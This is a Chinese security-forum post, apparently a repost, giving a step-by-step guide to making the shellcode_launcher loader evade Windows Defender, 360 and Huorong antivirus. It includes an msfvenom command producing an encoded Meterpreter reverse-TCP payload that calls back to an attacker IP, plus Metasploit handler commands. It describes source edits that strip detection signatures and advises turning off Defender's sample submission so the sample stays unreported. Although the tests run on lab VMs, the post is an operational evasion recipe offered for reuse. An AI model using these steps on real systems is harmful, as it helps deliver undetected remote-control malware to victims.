安全矩阵

 找回密码
 立即注册
搜索
查看: 2129|回复: 0

老树开新花之shellcode_launcher免杀Windows Defender

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2022-1-23 12:19:26 | 显示全部楼层 |阅读模式
原文链接:老树开新花之shellcode_launcher免杀Windows Defender


老树开新花之shellcode_launcher免杀Windows Defender免杀效果静态免杀

动态免杀效果(指的是可执行命令)

1. 准备条件本文中的免杀方式在我写完文章之后,免杀基本已经失效,毕竟是见光死,所以仅供各位师傅参考,内容上如有错误,希望师傅们能够指正!
本文在测试时,发现可免杀最新版火绒、最新版联网360、Windows Defender最新版(关闭可疑文件上传)。
本文工具已打包至我的GitHub,欢迎多多star:
https://github.com/crow821/crows ... _shellcode_launcher
当然,如果你访问GitHub不方便,你也可以在本公众号中回复关键字:免杀  直接下载!
1.1 环境准备攻击机: mac
ip地址:10.211.55.2
运行msf6进行测试
免杀软件:shellcode_launcher

https://github.com/clinicallyinane/shellcode_launcher/
测试机1: Windows10
ip地址:10.211.55.3  
运行安全防护:360最新版、Windows Defender最新版
测试机2: Windows7
ip地址:10.211.55.9
运行安全防护:火绒最新版
测试机3: Windows server2019
ip地址:192.168.238.145
运行安全防护:火绒最新版、Windows Defender最新版
其中,测试机均在虚拟机环境中。
1.2 shellcode知识介绍shellcode加载器和shellcode的通俗比喻:
shellcode加载器是枪,shellcode是子弹,二者缺一个都无法使用,所以免杀里面有很多关于二者的爱恨情仇,在这里就不多赘述了。
shellcode_launcher算是一个很古老的shellcode加载器,距离今天已经有8年了,在今天2022.01.16再次试试(2021.06.18可免杀360),国内主流杀软对其免杀能力如何:


下载到本地:


在这里要保留该文件。
1.3 生成shellcode首先用Msfvenom生成raw格式的shellcode,当前使用了shikata_ga_na编码模块:生成的监听机器为mac,ip为10.211.55.2,端口:1234
msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=1234  -f raw -o shellcode.raw




因为当前shellcode是混淆过的,目前可以过Windows Defender和国内主流杀软,所以后面将不会对shellcode进行免杀测试,因为对本文来说没有太大意义,当然仅仅是本文而已!


但是这不代表shellcode可以过所有av,在VT上传之后,可以发现,其实有诸多杀软可以直接识别shikata_ga_nai编码加密模块特征:
样本链接:https://www.virustotal.com/gui/f ... 3fe93ec8959f27d3dc8


2. 无杀软的情况测试上线首先测试下关闭所有杀软的的情况下,测试其能否正常上线:将raw文件拷贝到Windows10中,并且关闭所有杀软。


mac上开启msf进行监听:




  1. msf6 > use exploit/multi/handler
  2. [*] Using configured payload generic/shell_reverse_tcp
  3. msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  4. payload => windows/meterpreter/reverse_tcp
  5. msf6 exploit(multi/handler) > set LHOST 10.211.55.2
  6. LHOST => 10.211.55.2
  7. msf6 exploit(multi/handler) > set LPORT 1234
  8. LPORT => 1234
  9. msf6 exploit(multi/handler) > run

  10. [*] Started reverse TCP handler on 10.211.55.2:1234

复制代码


然后执行shellcode_launcher加载器:
shellcode_launcher.exe -i shellcode.raw


此时mac收到会话,并且可以正常执行命令:


2. 免杀测试2.1 360联网测试对shellcode_launcher使用360联网查杀试试:


直接被杀,直接就发现了当前是木马文件,毕竟这是8年前的加载器!


2.2 免杀360
因为shellcode_launcher项目,作者给的不仅有shellcode_launcher.exe,还有源代码,因此在这里尝试使用作者的源代码自主打包编译测试下:
使用vs2012打开(这部分可百度如何安装vs2012)作者的源代码文件:


在这里不做任何的修改,直接编译文件:




文件编译为shellcode_launcher.exe成功,先看下:


这里将两个文件都修改下名字:
shellcode加载器:
crow_test_av.exe
shellcode:crow_test_av.raw
在没有进行360联网查杀的情况下直接进行测试:


在这里看到,可以过360,而且可以执行命令,在这里我就不主动进行360联网查杀了,如果联网查杀的话,就会导致木马样本上传,几分钟之后就会被杀!!!
在这里放一张早期2021.06.18测试的图:


2.3 火绒联网测试在GitHub上直接下载的shellcode_launcher.exe ,复制进来之后直接被秒杀:


如果直接被杀,那将刚刚手动编译过360的木马拿过来试试:复制进行之后,直接又被秒杀!!!


2.4 思考一般情况下,bypass火绒的方法是比较容易的,因为火绒主要是静态免杀(这里不绝对),所以在这里过了360的没过火绒的话,应该是文件里面的某些关键字命中了火绒的黑名单。那在这里可以简单的分析下:
使用strings来提取crow_test_av.exe中的字符,命令:
strings.exe crow_test_av.exe > 0115.txt


分析提取字符串的文件,该文件的内容较多,但是在这里面出现了shellcode_launcher.exe关键字,而且在源代码中也出现了该关键字:提取字符串:


源代码:


但是在这里关键字实在太多了,短时间内可能无法不太好进行测试,因此在这里将当前的cpp代码直接复制一份到火绒环境中去:

复制进行之后,发现当前文件没有被杀:


修改后缀为exe之后,也没有被杀:


那在这里可能暂时没有好的方法,只能够直接对作者的源代码进行修改。
2.4 免杀火绒在当前环境中,使用如下方式进行替换关键字:


将shellcode_launcher替换为hello_crow:


此时有3处被替换,直接编译为exe试试,如果能过火绒的话,那就bypass成功,如果不行的话,再继续:


文件改名之后,火绒免杀测试:


此时发现,还是不行,那就继续:
将下面的代码直接注释或删除:


再进行编译,将编译生成的shellcode_launcher.exe直接修改为a.exe,再次bypass火绒测试下:


貌似byass成功,测试下能否正常上线:


此时免杀火绒成功。
2.5 Windows Defender2.5.1 开启Windows Defender首先开启Windows Defender,在存在360和Windows Defender的场景中,Windows Defender会默认关闭,所以在这里要在360设置中将其开启:


并且顺手关闭360!!!


Windows Defender开启之后,一定要记得关闭Windows Defender的样本自动上传功能!!!


2.5.2 静态免杀Windows Defender在2.4节中已经免杀了火绒,在这里直接将刚编译出来的exe文件拿过来(bypass火绒的a.exe)静态扫描测试下:


此时Windows Defender认为其是一个安全的文件。那当初直接编译的crow_test_av.exe呢?


同样在扫描中,认为其是一个安全的文件,那原始的shellcode_launcher.exe是不是也不杀呢?将shellcode_launcher.exe直接复制进去看下:


Windows Defender直接秒杀。
那再试试动态,目前免杀中最难的地方基本全都在动态上。
2.5.3 动态上线Windows Defender测试在这里将当前a.exe以及直接编译的crow_test_av.exe放在一个文件夹中,加载相同的shellcode,分别进行上线测试:


直接编译的crow_test_av.exe


在这里可以看到,直接编译后的文件直接可以免杀Windows Defender
去特征的a.exe


2.5.4 免杀winserver2019 Windows Defender在winserver2019中,开启火绒最新版和Windows Defender最新版,动态上线测试通过:
最新版火绒


同样Windows Defender关闭自动提交样本:


当前Windows Defender病毒库是最新的:


使用同样的方法进行测试,火绒将直接打包的crow_test_av.exe秒杀!!!但去特征之后的a.exe正常上线运行。


3. 简单修修改改其实这里简简单单的修改也可以不加。
3.1 添加图标为当前的项目增加一个图标,按照如图所示,添加资源:


在这里添加Icon,并选择导入图标:

在这里选择ico文件,ico可以自行生成:http://www.bitbug.net


将图标文件导入,再编译:


编译完成之后,进行上线测试,此时上线成功:


3.2 添加混淆代码在这里也可以添加一些混淆代码(早期主要是过火绒)
如图所示,新建项:


添加c++文件,并且修改其名称,然后选择添加:


在里面输入任意的代码:


编译下,生成新的文件,再进行上线测试。
3.3 Bypass 火绒


3.4 Bypass Win Defender & 360


4. 总结4.1 免杀情况直接整理为图片吧:(可放大)


4.2 缺点在本文中,基本没有对作者的源代码进行分析,这里主要是因为篇幅太长,不适合进一步分析,其实可以在作者的基础上延伸一些更加好的方法,本文免杀中存在待优化的问题:
1.使用msfvenom生成的shellcode会被一部分杀软标记,这些东西其实深入探究源码之后,去除特征并不算难解决。2.在这里看到静态免杀还是比较容易的,但是如果是执行命令等动态操作,基本上都会被优秀的杀软识别,所以在免杀上过动态检测才是研究免杀的关键。
本文在写文章的时候,可能还存在一定的问题,希望各位师傅能够批评指正,不胜感激!




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 23:33 , Processed in 0.016534 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表